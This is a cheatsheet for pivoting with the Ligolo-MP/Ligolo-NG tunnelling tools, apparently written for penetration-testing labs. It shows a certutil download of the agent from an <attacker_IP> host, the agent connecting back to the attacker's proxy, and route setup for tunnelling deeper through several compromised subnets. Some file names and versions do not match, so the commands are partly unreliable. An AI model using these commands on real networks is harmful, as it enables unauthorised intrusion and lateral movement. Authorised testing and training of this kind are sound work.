Ligolo-MP/Ligolo-NG Cheatsheet
Installation
From Source
git clone https://github.com/ttpreport/ligolo-mp cd ligolo-mp sudo make install sudo ligolo-mp From Release
ligolo-mp_linux_amd64 chmod +x ./ligolo-mp_linux_amd64 sudo ./ligolo-mp_linux_amd64 Dashboard overview
| Flag | Meaning |
|---|---|
| ⚑ | Agent is connected, relay is down |
| ⚑ | Agent is connected, relay is up |
| ⚑ | Agent is disconnected, relay is down |
Navgating the dashboard with TAB
CTRL+A admin Panel
CTRL+N generate Client Binary
CTRL+T traceroute IP
CTRL+Q quit ligolo
Interfaces
This is a list of interfaces found on the compromised machine. It could be useful for easier navigation of internal networks: which interface to run a redirector on, which networks are potentially accessible via this particular session and so on.
Routes
A list of routes is here mainly for visibility purposes: as already mentioned, the selection highlight is synchronized with sessions and redirectors, also the visual markers (those colored flags) provide a good visual representation of the current state.
Its context menu allows for deletion of selected route.
Redirectors
This is functionally the same as routes, but represents redirectors.
Its context menu allows for deletion of selected route.
Local host
The IP 240.0.0.1 will act as the localhost IP of the public host
Ligolo-NG
Step 1: Download Ligolo-NG Binaries
Ligolo-NG consists of two core components:
Proxy → Runs on the attacker machine (our system). Agent → Runs on the target machine (compromised host). On the Attacker Machine (Kali/Linux)
Navigate to a directory to store Ligolo-NG:
cd /opt mkdir ligolo cd ligolo Download the proxy and agent binaries:
# Download the agent (for Windows target) sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip # Download the proxy (for Kali/attacker machine) sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz Extract the binaries:
# Extract the agent (for Windows target) unzip ligolo-ng_agent_0.8_windows_amd64.zip # Extract the proxy (for Kali/attacker machine) tar -xvf ligolo-ng_proxy_0.8_linux_amd64.tar.gz Step 2: Set Up the Ligolo-NG Proxy on the Attacker Machine
Before launching Ligolo-NG, create a TUN interface on the attacker machine:
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up Now, start the Ligolo-NG proxy server:
#Change the directory to the ligolo directory cd /opt/ligolo #Run the proxy server from there ./proxy -selfcert Step 3: Transfer the Ligolo-NG Agent on the Target Machine
We need to transfer the agent to the compromised machine using a simple Python HTTP server to serve the file:
*** Note : In our case we directly copied it to the windows Compromised machine *** cd /opt/ligolo sudo python3 -m http.server 80 On the target machine (Windows), download the agent from the attacker’s machine:
certutil.exe -urlcache -split -f http://<attacker_IP>/lin-agent Step 4: Pivot to First Subnet
Now, execute the agent and connect it to the attacker’s proxy:
agent.exe -connect <attacker-machine-IP>:11601 -ignore-cert 
Verify the Connection:
Once the agent is running, check the attacker machine’s proxy window. An active session should have been established. To list all active tunneled sessions, run:
#List the session session #Start the session start Step 5: Discover Internal Networks
Now that there is a foothold inside the compromised network, let’s enumerate.
On the Target Machine:
check network interfaces:
ipconfig 
This will help identify additional subnets or networks to pivot into.
Step 6: Add Internal Network Routes for Pivoting
Once internal network is identified (e.g., 172.168.170.0/24), route it through Ligolo-NG:
sudo ip route add 172.168.170.0/24 dev ligolo Pivoting to a Second Subnet
Once the second machine inside a new internal subnet has been compromised, Let’s set up another Ligolo listener and agent to continue pivoting deeper.
Why? : The first agent is limited to the subnet it can see. To reach the next layer (deeper network), we need to tunnel again — from the foothold machine.
Setting up Additional Ligolo Listeners and Agents (ligolo2, ligolo3)
Set up a second Ligolo tunnel after a successful RDP into the second compromised machine (e.g., wkstn4 with IP 172.168.170.120) :
On the attacker machine (Kali):
#Create a second TUN interface sudo ip tuntap add user $(whoami) mode tun ligolo2 sudo ip link set ligolo2 up #Attach back to running Ligolo proxy tmux session tmux a -t Ligolo # Add a new listener listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443 #Verify listeners listener_list On the new compromised machine
Download and execute the Ligolo agent to create the second tunnel:
agent.exe -connect <WEBSERVER>:11601 -ignore-cert On the attacker machine, start the session:
session start --tun ligolo2 Add the new internal network to your routes:
sudo ip route add 10.10.10.0/24 dev ligolo2 Confirm connectivity:
ping 10.10.10.128 Enumerate the new network:
nxc smb 10.10.10.0/24 Pivoting to a Multiple Subnets
Repeat for Deeper Networks
Similarly, if another host is compromised (e.g., CA.SHIELD.LOCAL machine at 10.10.10.132) and find another new network (10.10.20.0/24), repeat the same process from step 7:
Create a third TUN interface (ligolo3) Start a new listener Deploy another agent from the compromised machine Route the new subnet through the new TUN (ligolo3) interface Final setup : Fully Established Pivot Chain Across Four Networks
